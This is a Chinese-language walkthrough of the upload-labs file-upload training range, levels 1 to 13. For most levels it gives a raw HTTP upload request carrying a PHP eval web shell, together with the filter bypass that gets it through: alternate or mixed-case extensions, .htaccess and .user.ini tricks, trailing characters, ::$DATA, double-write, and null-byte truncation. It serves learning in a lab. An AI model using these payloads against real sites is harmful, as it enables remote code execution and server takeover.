环境 #
使用Docker快速搭建upload labs
靶场环境,https://github.com/c0ny1/upload-labs
docker run -dt --name upload-labs -p 50070:80 cuer/upload-labs
部署完后访问http://localhost:50070/
本文只记录关键思路,不详细记录操作过程
文件上传的目的是,上传php脚本文件,并触发脚本的执行
Pass-01 #
Burp抓包修改filename后缀
Connection: close
------WebKitFormBoundaryyBB7ysZsoRXuZa0z
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryyBB7ysZsoRXuZa0z
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryyBB7ysZsoRXuZa0z--
Pass-02 #
Burp抓包修改filename后缀,注意Content-Type为image/jpeg
等
Connection: close
------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: application/octet-stream
<?php @eval($_GET['shell']);?>
------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary6AD8rNZJAAJibnyU--
提示:文件类型不正确,请重新上传!
Connection: close
------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="upload_file"; filename="eval.php"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundary6AD8rNZJAAJibnyU
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary6AD8rNZJAAJibnyU--
Pass-03 #
容器部署的先修改一下配置,重启重启
cd /etc/apache2/conf-available
sed 's|application/x-httpd-php \.php|application/x-httpd-php .php .php5|' docker-php.conf
提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
,且文件上传后会重命名
Connection: close
------WebKitFormBoundary1aTlV7OvLvu82Ety
Content-Disposition: form-data; name="upload_file"; filename="eval.php5"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundary1aTlV7OvLvu82Ety
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary1aTlV7OvLvu82Ety--
<img src="../upload/202410180932461191.php5" width="250px" />
Pass-04 #
发现文件名不会被重命名,结合.htaccess
触发脚本执行使用
Connection: close
------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="upload_file"; filename="eval.jpg"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryow4kbFVhhvlSJqVu--
<img src="../upload/eval.jpg" width="250px" />
Connection: close
------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryow4kbFVhhvlSJqVu
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryow4kbFVhhvlSJqVu--
<img src="../upload/.htaccess" width="250px" />
Pass-05 #
查看源码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
利用.user.ini
,但是要首先调整Server API为FastCGI模式
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.jpg"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename=".user.ini"
Content-Type: image/jpeg
auto_prepend_file=eval.jpg
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Pass-06 #
大小写pHP
绕过
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
<img src="../upload/202410210959504446.pHP" width="250px" />
Pass-07 #
查看源码发现$file_ext = trim($file_ext); //首尾去空
没了
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP "
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Pass-08 #
查看源码发现$file_name = deldot($file_name);//删除文件名末尾的点
没了
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pHP."
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。所以Pass-07和Pass-08 只能在windows上复现?
Pass-09 #
查看源码发现$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
没了
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.php::$DATA"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
上传到服务器的文件在Windows中会自动去掉::$DATA
Pass-10 #
实际eval.php. .
会以.php.
判断结尾,同时以.php.
存储
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.php. ."
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
Pass-11 #
$file_name = str_ireplace($deny_ext,"", $file_name);
替换,双写绕过
Connection: close
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="upload_file"; filename="eval.pphphp"
Content-Type: image/jpeg
<?php @eval($_GET['shell']);?>
------WebKitFormBoundaryFRi7WAeBUXejB1tR
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryFRi7WAeBUXejB1tR--
服务端对不合法的后缀名进行替换为空是常用手段,但这种替换不具备回溯功能。
Pass-12 #
查看源码发现 $img_path 变量可控。使用 %00 让字符串截断。本环境无法复现,需要PHP <= 5.3.4
。
%00 截断:
- 利用手动添加字符串标识符的方式来将后面的内容进行截断。
- PHP <= 5.3.4。
- php.ini 文件中 magic_quotes_gpc = Off。
Pass-13 #
题解与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。
POST 传送的数据不需要编码,需要传输%00
对应的空字符,可以使用BP的URL-decode
功能